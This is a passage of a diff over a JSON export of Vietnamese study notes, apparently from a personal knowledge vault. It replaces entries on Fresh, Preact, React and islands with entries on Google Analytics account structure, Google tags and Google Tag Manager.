phẩm\r\n- Doanh nghiệp nhỏ C (ví dụ: Joe’s deli): 1 tài khoản\r\n\t- Tất cả sản phẩm (thịt nguội, bánh mì kẹp, đồ uống, v.v.): 1 property\r\n\r\nTrong ví dụ này, Joe's deli là một doanh nghiệp nhỏ và không cần nhiều property. Họ phân tích tất cả dữ liệu cho dịch vụ giao hàng thịt nguội trực tuyến của mình cùng một chỗ vì họ không có lĩnh vực kinh doanh riêng biệt nào và khách hàng của họ thường mua nhiều sản phẩm. Một property duy nhất cho tất cả dữ liệu của họ sẽ là một lựa chọn hợp lý.\r\n\r\n## Phiên bản GA 360 có thêm property con và property tổng hợp\r\n### Ví dụ A: công ty mẹ cần một property tổng hợp\r\n![Sơ đồ về một công ty mẹ có 3 thương hiệu](https://lh3.googleusercontent.com/-I1LuNrjqnJ9kaKbzN-fzws1S6q0VdJ1e2D8YXmk002nN-zOAxQQc6N2ZVwotpnh-w=w1200)\r\n\r\n### Ví dụ B: mỗi nhóm vận hành cần dùng một property con để phân tích riêng\r\n![Sơ đồ về một property nguồn có 3 property con](https://lh3.googleusercontent.com/_PexaSqraS2idITNQ4-Wn43RgTK46_9LiEax_3izgZMR9CJEvlPIiWOTZZUvYoKW1Q=w1200)\r\n\r\n### Ví dụ C: công ty đa quốc gia\r\n\r\n![Diagram showing global roll-up property with 3 regional roll-up properties](https://storage.googleapis.com/support-kms-prod/qlmD4iv4m436WgAq3P7q6XyMqDBplZGPD534)\r\n\r\nNguồn:: [[Google Support]], [[GA4] Google Analytics account structure - Analytics Help](https://support.google.com/analytics/answer/9679158?sjid=17022656340477521015-NA&hl=en#key-concepts&zippy=%2Ctable-of-contents%2Croll-up-properties%2Centerprise-company-with-several-complementary-lines-of-business%2Cparent-company-with-several-brands%2Cglobal-enterprise-with-regions-and-subregions)\r\n\r\n![How to structure your Analytics account - YouTube](https://youtu.be/KqiWnzfJzxg)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Yc" + "id": "cL" }, { - "Tiêu đề": "Fresh và Astro đều cung cấp khả năng render island lần đầu tại server và những lần sau tại client", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Fresh, Preact, React/Fresh và Astro đều cung cấp khả năng render island lần đầu tại server và những lần sau tại client", + "Tiêu đề": "Các tag có thể thêm vào", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Các tag có thể thêm vào", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Chỉ có điều Astro là dùng trên Node, còn Fresh dùng trên Deno. Nếu Deno là lật ngược lại của Node thì Fresh cũng có thể xem là Troas\r\n\r\nNguồn:: [Discord](https://discord.com/channels/684898665143206084/991511118524715139/1201394893382221924)\r\n\r\n[[Route không bao giờ được gửi đến client. Island được chạy ở cả server và client]]", + "Toàn bộ nội dung": "- Google Analytics\r\n- Facebook Pixel\r\n- Facebook page", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Yd" + "id": "cM" }, { - "Tiêu đề": "Fresh đối với Preact cũng giống như Next.js đối với React. React với Preact cung cấp khả năng render (làm framework), còn Fresh hay Next xử lý những thứ còn lại (làm meta-framework)", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Fresh, Preact, React/Fresh đối với Preact cũng giống như Next.js đối với React. React với Preact cung cấp khả năng render (làm framework), còn Fresh hay Next xử lý những thứ còn lại (làm meta-framework)", + "Tiêu đề": "Destination ID cho GA trùng với Measurement ID của web data stream", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Destination ID cho GA trùng với Measurement ID của web data stream", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Fresh is a website framework designed to be used with Deno\r\nPreact is essentially a reactive rendering library\r\nPreact can be used seperately to Fresh\r\nThe relationship between Next.JS and React is the same as the relationship between Fresh and Preact \r\n\r\nPreact is just a rendering library and only concerns itself with getting stuff on the screen as fast as possible. It doesn't do routing or any of those other concerns an app typically needs. That's where Fresh comes in. The export default from a route file tells Fresh's file based router that this is a route that you want to use. Then when you go to a route, Fresh basically calls Preact's render() function to render the HTML, so you don't need to do that yourself when working in Fresh \r\n\r\nFor simple sites there isn't reall much Preact specific stuff to learn other than that you can compose parts of the HTML by creating functions that return JSX like\r\n```js\r\nfunction Foo() {\r\n return <p>Hello world</p>\r\n}\r\n\r\nexport default function Page() {\r\n return <div>\r\n <Foo />\r\n </div>\r\n}\r\n```\r\nThis concept alone gets you pretty far.\r\n\r\nIn my opinion there is no need to learn Preact before Fresh. That's pointless. Build a site with Fresh and you'll pick up enough Preact knowledge while doing that already\r\n\r\nNguồn:: [Discord](https://discord.com/channels/684898665143206084/991511118524715139/1192090620198662144)\r\n[[Fresh dùng Preact cho UI]]\r\n\r\n| Framework | Meta Framework |\r\n| --------- | ------------------------- |\r\n| Preact | Fresh |\r\n| React | Next.js, Remix, Gatsby... |\r\n| Vue | Nuxt |\r\n| Svelte | SvelteKit |\r\n| Solid | SolidStart | \r\nNguồn:: [unable to use preact context in fresh · Issue #983 · denoland/fresh · GitHub](https://github.com/denoland/fresh/issues/983#issuecomment-1891656732)\r\n\r\n[[React được sinh ra để làm việc với trạng thái]]", + "Toàn bộ nội dung": "[[Destination là nơi nhận dữ liệu của Google tag]]. Hiện tại, chỉ có những tài khoản Google Ads và web data stream trong Google Analytics 4 mới có thể được dùng làm destination.\r\nNguồn:: [[Google Support]], [Destination: Definition - Tag Manager Help](https://support.google.com/tagmanager/answer/12324388?sjid=14081765469960323685-AP)\r\n[[Một tag có thể có nhiều destination, nhưng một destination chỉ thuộc về một tag]] \r\nMỗi một web data stream sẽ có một Measurement ID khác nhau. \r\n\r\nCâu hỏi:: Vậy có phải dữ liệu từ Google tag sẽ đổ vào web data stream, không phải property hay app data stream không?\r\nCâu hỏi:: [[❓Measurement ID của web data stream chính là Google tag ID]]?\r\n\r\nNguồn:: [[Google Support]], [Set up your Google tag - Tag Manager Help](https://support.google.com/tagmanager/answer/12002338?sjid=8841841083182692322-AP&hl=en#zippy=%2Cm%C3%A3-th%E1%BA%BB-google-l%C3%A0-g%C3%AC%2Cwhat-is-a-google-tag-id%2Cgoogle-analytics-instructions%2Cgoogle-tag-manager-instructions%2Cwhat-is-a-destination%2Cwhat-is-a-destination-id)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-07-01T11:04:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Ye" + "id": "cN" }, { - "Tiêu đề": "JS là để tăng trải nghiệm người dùng. Framework là để tăng trải nghiệm lập trình viên", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Fresh, Preact, React/JS là để tăng trải nghiệm người dùng. Framework là để tăng trải nghiệm lập trình viên", + "Tiêu đề": "Destination là nơi nhận dữ liệu của Google tag", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Destination là nơi nhận dữ liệu của Google tag", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ", + "Toàn bộ nội dung": "Destination là nơi nhận dữ liệu của Google tag. Hiện tại, chỉ có những tài khoản Google Ads và web data stream trong Google Analytics 4 mới có thể được dùng làm destination.\r\nNguồn:: [[Google Support]], [Destination: Definition - Tag Manager Help](https://support.google.com/tagmanager/answer/12324388?sjid=14081765469960323685-AP)\r\n[[Một tag có thể có nhiều destination, nhưng một destination chỉ thuộc về một tag]] \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Yf" + "id": "cO" }, { - "Tiêu đề": "Lịch sử phát triển framework JavaScript", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Fresh, Preact, React/Lịch sử phát triển framework JavaScript", + "Tiêu đề": "Container", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Google Tag Manager/Container", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![The past, current state & future of JavaScript frameworks - YouTube](https://youtu.be/5EsLj3JOdE0?si=ydCqkWbLypknVQW8)\r\n![How JavaScript Ruined the Web - YouTube](https://www.youtube.com/watch?v=gU-8U7Z-E64)\r\n\r\nXem thêm:: [[Lịch sử phát triển của JavaScript]]", + "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Yg" + "id": "cP" }, { - "Tiêu đề": "Next.js, Remix, Gatsby là những framework mà chính React giới thiệu là nên dùng", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Fresh, Preact, React/Next.js, Remix, Gatsby là những framework mà chính React giới thiệu là nên dùng", + "Tiêu đề": "Data layer cho phép thay đổi URL mà không làm GA nghĩ rằng mình đã đổi sang trang khác", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Google Tag Manager/Data layer cho phép thay đổi URL mà không làm GA nghĩ rằng mình đã đổi sang trang khác", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[JS là để tăng trải nghiệm người dùng. Framework là để tăng trải nghiệm lập trình viên]]\r\nNguồn:: [Start a New React Project – React](https://react.dev/learn/start-a-new-react-project#building-with-a-full-featured-framework)\r\n[Unraveling the JavaScript Meta-Framework Ecosystem: Which One Is Right for You?](https://prismic.io/blog/javascript-meta-frameworks-ecosystem)", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Yh" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-21T08:49:00.000Z", + "id": "cQ" }, { - "Tiêu đề": "Preact chỉ là một thư viện render. Nó không có biết gì về server hay routing cả", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Fresh, Preact, React/Preact chỉ là một thư viện render. Nó không có biết gì về server hay routing cả", + "Tiêu đề": "Data layer tập trung mọi dữ liệu lại vào một chỗ rồi truyền đến container", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Google Tag Manager/Data layer tập trung mọi dữ liệu lại vào một chỗ rồi truyền đến container", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "One important thing to remember: **Preact is just a rendering library and only concerns itself with getting stuff on the screen as fast as possible.**\r\n\r\nThe consequences of this are:\r\n\r\n- Preact doesn't do routing or any of those other concerns an app typically needs\r\n- Preact has no idea of a server and has no concept of how to pass data from the server to the client\r\n\r\nThat's where Fresh comes in:\r\n\r\n- The export default from a route file tells Fresh's file based router that this is a route that you want to use. Then when you go to a route, Fresh basically calls Preact's render() function to render the HTML, so you don't need to do that yourself when working in Fresh\r\n- Fresh introduces the notion of Server and a Client that Preact isn't aware of\r\n\r\nWhat Fresh gives you compared to using Preact alone is:\r\n\r\n- routing automatic\r\n- bundling of islands and the machinery to make them interactive on page load (remember Preact is just a JS lib not a build tool)\r\n- a serialization layer that supports preact signals to transfer island props to the browser\r\n- an API layer\r\n- dev stuff like reloading the page when a component changes\r\n- a server in general\r\n\r\nAll in all Fresh is a somewhat minimal wrapper around Preact. It's a similar relationship as Next.js has with React.\r\n\r\nNguồn:: [fresh/docs/latest/concepts/jsx-and-preact.md at ddff9a6324be4d35dd6065f3503c5d5b42a1b574 · denoland/fresh · GitHub](https://github.com/denoland/fresh/blob/ddff9a6324be4d35dd6065f3503c5d5b42a1b574/docs/latest/concepts/jsx-and-preact.md)\r\n\r\n[[Render là quá trình chuyển đổi dữ liệu và code sang HTML]]", + "Toàn bộ nội dung": "Data layer là một mảng JavaScript chứa các thông tin mà mình muốn Google Analytics và các công cụ tương tự sử dụng.\n\n![](https://www.analyticsmania.com/wp-content/uploads/2019/12/image-2019-12-19T101006.568.jpg) \n![Data Layer in Google Tag Manager || GTM Data Layer Tutorial with examples - YouTube](https://youtu.be/hyZQLQITeV4?si=8U---WQEKEcXRv6F)\nNguồn:: [The data layer - Tag Manager Help](https://support.google.com/tagmanager/answer/6164391?hl=en)\n\n![Behind the Code: Using the Data Layer - YouTube](https://youtu.be/BEGzysJYHgM?si=ApF0jHdiDg3J-g7f)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Yi" + "Ngày cập nhật": "2024-08-21T08:56:00.000Z", + "id": "cR" }, { - "Tiêu đề": "React nên được alias thành preact/compat", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Fresh, Preact, React/React nên được alias thành preact-compat", + "Tiêu đề": "Google Tag Manager là một trình quản lý các mã JavaScript được gắn vào web", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Google Tag Manager/Google Tag Manager là một trình quản lý các mã JavaScript được gắn vào web", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Issues with radix-ui · Issue #1530 · denoland/fresh · GitHub](https://github.com/denoland/fresh/issues/1530)", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Yj" + "id": "cS" }, { - "Tiêu đề": "React được sinh ra để làm việc với trạng thái", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Fresh, Preact, React/React được sinh ra để làm việc với trạng thái", + "Tiêu đề": "Workspace", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Google Tag Manager/Workspace", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Với JS, ta phải chỉ cho nó biết nên rẽ chỗ nào, rẽ như thế nào, v.v. Nó không biết mình muốn đi tới đâu, tất cả những gì nó có thể làm là nghe lệnh của bạn\r\n![](https://react.dev/images/docs/illustrations/i_imperative-ui-programming.png) \r\n\r\nVới React, ta chỉ cần nói địa điểm.\r\n![](https://react.dev/images/docs/illustrations/i_declarative-ui-programming.png) \r\n\r\nCác trạng thái ví dụ của một app:\r\n![](https://react.dev/_next/image?url=%2Fimages%2Fdocs%2Fdiagrams%2Fresponding_to_input_flow.png&w=1920&q=75) \r\n\r\nNguồn:: [Reacting to Input with State – React](https://react.dev/learn/reacting-to-input-with-state)", + "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Yk" + "id": "cT" }, { - "Tiêu đề": "Vì Node, Deno viết trên V8 chứ không phải Gecko, nên chỉ có Chrome mới debug được chứ Firefox thì không", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Fresh, Preact, React/Vì Node, Deno viết trên V8 chứ không phải Gecko, nên chỉ có Chrome mới debug được chứ Firefox thì không", + "Tiêu đề": "Để kích hoạt một tag trước tất cả các tag khác, chọn ❝Initialization – All Pages❞", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Google Tag Manager/Để kích hoạt một tag trước tất cả các tag khác, chọn ❝Initialization – All Pages❞", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Ryan, tác giả của Node, đã viết ra Deno. Vì Node viết trên V8, nên anh tất nhiên rành V8 hơn Gecko. Để có thể làm Deno, thì công ty tạo ra Deno cần sống được trước. Nên việc đặt cược vào Gecko sẽ làm sự tồn tại của Deno gặp rủi ro hơn.\r\n\r\n[[Sau một thập kỷ phát triển, tác giả của Node viết Deno để khắc phục những thiếu sót của Node]]\r\nNguồn:: [Discord](https://discord.com/channels/684898665143206084/1193739165834154044/1193915242216955976)", + "Toàn bộ nội dung": "![](https://www.analyticsmania.com/wp-content/uploads/2023/05/Article-29-Screenshot-1.jpg) \r\nNguồn:: [Page Variables and Pageview Triggers in Google Tag Manager - Analytics Mania](https://www.analyticsmania.com/post/page-related-variables-and-triggers-in-google-tag-manager/)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Yl" + "id": "cU" }, { - "Tiêu đề": "Ở Preact, onInput sẽ kích hoạt ngay trong lúc nhập, còn onChange chỉ kích hoạt khi người dùng đổi focus", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Fresh, Preact, React/Ở Preact, onInput sẽ kích hoạt ngay trong lúc nhập, còn onChange chỉ kích hoạt khi người dùng đổi focus", + "Tiêu đề": "Google tag đổ dữ liệu về Google Analytics, không phải Google Tag Manager", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Google tag đổ dữ liệu về Google Analytics, không phải Google Tag Manager", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Differences to React – Preact Guide](https://preactjs.com/guide/v10/differences-to-react/#use-oninput-instead-of-onchange)", + "Toàn bộ nội dung": "Nguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Ym" + "id": "cV" }, { - "Tiêu đề": "Component nằm trong thư mục island sẽ được render lần đầu ở server, còn những lần sau đều ở client", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Island, state/Component nằm trong thư mục island sẽ được render lần đầu ở server, còn những lần sau đều ở client", + "Tiêu đề": "Google tag, global site tag, gtag là những cái tên khác nhau cho đoạn script theo dõi người dùng của Google Analytics", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Google tag, global site tag, gtag là những cái tên khác nhau cho đoạn script theo dõi người dùng của Google Analytics", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Cơ chế này giống Astro\r\n[[Những hàm được export default và được viết hoa ký tự đầu tiên là component]]. [[Component là những hàm hoặc lớp trả về một khối JSX]]. [[Island là những component ở trong thư mục islands]]\r\nNguồn:: [Interactive islands | Fresh docs](https://fresh.deno.dev/docs/concepts/islands)\r\nhttps://discord.com/channels/684898665143206084/991511118524715139/1201392026655141949", + "Toàn bộ nội dung": "Mã JavaScript đó có dạng thế này:\r\n```js\r\n<!-- Google tag (gtag.js) --> \r\n<script async src=\"https://www.googletagmanager.com/gtag/js?id=G-XHX9Q6ZB3Q\"></script>\r\n<script> \r\n\twindow.dataLayer = window.dataLayer || [];\r\n\tfunction gtag(){dataLayer.push(arguments);} gtag('js', new Date()); \r\n\tgtag('config', 'G-********'); </script>\r\n```\r\nĐoạn `G-********` là ID của nó. [[Một Google tag có thể có nhiều ID]]. [[Nên cài Google tag trong Google Tag Manager thay vì cài trực tiếp trên web hoặc qua plugin|Có thể cài nó trực tiếp trên web, hoặc nhờ plugin hỗ trợ, nhưng tốt nhất là nên cài thông qua Google Tag Manager]].\r\n\r\nCác tag này sẽ đổ dữ liệu về các destination, chính là các web data stream trong GA. \r\n\r\n<sub>Lưu ý rằng ngoài web ra thì các app điện thoại cũng có thể làm data stream cho GA. Nhưng vì ở đó có những cách thức khác để theo dõi hành vi người dùng, nên [[App điện thoại có thể trở thành data stream, nhưng không thể trở thành destination|chúng không được dùng làm destination cho Google tag]]. Tức là, **Google tag chỉ có duy nhất một loại destination là web data stream**. Nếu bạn chỉ có duy nhất một website để phân tích, thì bạn sẽ chỉ có một Google tag, một destination, một data stream, và tất cả chúng sẽ từa tựa lẫn nhau khiến cho bạn dễ bị rối.</sub>\r\n[[Google tag đổ dữ liệu về Google Analytics, không phải Google Tag Manager]]\r\n# Thiết lập các Google tag\r\nĐể có một **danh sách tổng hợp tất cả các Google tag mà mình có**, hãy vào [Google Tag Manager](https://tagmanager.google.com/#/home): ![](https://storage.googleapis.com/support-kms-prod/Q5lAquhBvBoVYFmUpBjRYdCc0a45iJVloZPJ) \r\n\r\nĐể **thiết lập chi tiết cách data stream làm destination như thế nào**, hãy vào [Google Analytics](https://analytics.google.com/analytics): ![Screenshot of the Google Analytics 4 data stream settings. The Google tag settings are located in the data stream settings](https://storage.googleapis.com/support-kms-prod/jRorNBqYurSg9prt08pizpolkGC6elmHj7qp)\r\n\r\n> [!attention] Phân biệt\r\n> Khi bấm vào \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Yn" + "id": "cW" }, { - "Tiêu đề": "Các hàm được môi trường thực thi cung cấp không hoạt động được ở island", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Island, state/Các hàm được môi trường thực thi cung cấp không hoạt động được ở island", + "Tiêu đề": "Một Google tag có thể có nhiều ID", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Một Google tag có thể có nhiều ID", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Những hàm của môi trường thực thi không chạy được trên trình duyệt]]. Trình duyệt không biết gì về Deno, Node, v.v. Muốn dùng các hàm do các môi trường thực thi này cung cấp thì phải chạy trên server chứ không chạy trên client được\r\n[[Route là code viết cho server. Island là code viết cho client]]\r\n", + "Toàn bộ nội dung": "![An illustration demonstrating where to locate Tag IDs on Google tag.](https://storage.googleapis.com/support-kms-prod/BDKksyJ4hntsQiVpJtHK4PBl5gKaohplp5fE)\r\n\r\nCái ID đầu tiên là cái chính, nhưng dùng cái nào cũng được. Những cái ID sau dùng để tương thích với hệ thống code cũ\r\n![](https://i.imgur.com/xWBvTda.png) \r\n![](https://i.imgur.com/GNuJnY5.png)\r\n\r\nNguồn:: [[Google Support]], [Google tag ID: Definition - Tag Manager Help](https://support.google.com/tagmanager/answer/12326985?hl=en)\r\n\r\nCâu hỏi:: [[❓Measurement ID của web data stream chính là Google tag ID]]\r\n[[Destination ID cho GA trùng với Measurement ID của web data stream]]\r\n[[Google tag, global site tag, gtag là những cái tên khác nhau cho đoạn script theo dõi người dùng của Google Analytics]]\r\n[[Nên cài Google tag trong Google Tag Manager thay vì cài trực tiếp trên web hoặc qua plugin]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-24T05:28:00.000Z", - "id": "Yo" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-08-18T08:05:00.000Z", + "id": "cX" }, { - "Tiêu đề": "Island là những component ở trong thư mục islands", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Island, state/Island là những component ở trong thư mục islands", + "Tiêu đề": "Một tag có thể có nhiều destination, nhưng một destination chỉ thuộc về một tag", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Một tag có thể có nhiều destination, nhưng một destination chỉ thuộc về một tag", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ", + "Toàn bộ nội dung": "[[App điện thoại có thể trở thành data stream, nhưng không thể trở thành destination]]\r\n[[Destination ID cho GA trùng với Measurement ID của web data stream]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Yp" + "id": "cY" }, { - "Tiêu đề": "Island với partial hydration là một", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Island, state/Island với partial hydration là một", + "Tiêu đề": "Nên cài Google tag trong Google Tag Manager thay vì cài trực tiếp trên web hoặc qua plugin", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Nên cài Google tag trong Google Tag Manager thay vì cài trực tiếp trên web hoặc qua plugin", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![a fresh new web framework is out - YouTube](https://youtu.be/4boXExbbGCk?si=uZV1PldtAQHlmIBf&t=89)\r\nTác giả của Preact là người tạo ra khái niệm island", + "Toàn bộ nội dung": "[[Google tag, global site tag, gtag là những cái tên khác nhau cho đoạn script theo dõi người dùng của Google Analytics]], còn [[Google Tag Manager là một trình quản lý các mã JavaScript được gắn vào web]]. Ngoài Google tag ra còn có Facebook tag, LinkedIn tag, v.v.\r\n\r\n![](https://www.analyticsmania.com/wp-content/uploads/2022/01/image-2022-01-06T152832.289.jpg) \r\nNguồn:: [GTAG vs Google Tag Manager. What is the Difference? What to Choose?](https://www.analyticsmania.com/post/gtag-vs-google-tag-manager/)\r\n\r\n# Lợi ích của Google Tag Manager \r\n- The ability to deploy and modify both Google and 3rd party tags\r\n- The ability to deploy and modify tags for both web and mobile apps\r\n- The ability to deploy and modify tags on the fly from a web interface\r\n- Collaboration and versioning capabilities\r\n\r\nNguồn:: [[Google Support]], [Tag Manager and the Google tag (gtag.js) - Tag Manager Help](https://support.google.com/tagmanager/answer/7582054?sjid=14081765469960323685-AP)\r\n\r\nYou should only use either the Google tag or Tag Manager, not both. Using both methods will have unintended consequences, such as overcounting data from your website. If you've installed both the Tag Manager snippets and the Google tag snippet, remove the snippets for one of these implementation options.\r\nNguồn:: [[Google Support]], [[GA4] Troubleshoot tag setup on your website - Analytics Help](https://support.google.com/analytics/answer/9311124?hl=en&sjid=12272186081024095110-AP#zippy&zippy=%2Cthe-tag-manager-and-google-tag-snippets-are-both-installed%2Cthe-tag-manager-changes-have-not-been-published%2Cthe-google-tag-snippet-is-in-the-wrong-place%2Cthe-google-tag-contains-extra-whitespaces-or-characters%2Cthe-ga-configuration-tag-has-not-been-configured%2Cthe-ga-configuration-tag-does-not-have-a-trigger-condition)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Yq" + "id": "cZ" }, { - "Tiêu đề": "Khi một vật thể được đổ dữ liệu vào, nó được gọi là được tưới nước", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Island, state/Khi một vật thể được đổ dữ liệu vào, nó được gọi là được tưới nước", + "Tiêu đề": "A client is a Tag Manager resource type that intercepts certain types of incoming HTTP requests and generates events that are passed to a destination, like Google Analytics 4", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Server-side tagging/A client is a Tag Manager resource type that intercepts certain types of incoming HTTP requests and generates events that are passed to a destination, like Google Analytics 4", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![WTF is hydration? - YouTube](https://youtu.be/fypmxYZGrfA?si=_8hYDFQppxy05-Q0)", + "Toàn bộ nội dung": 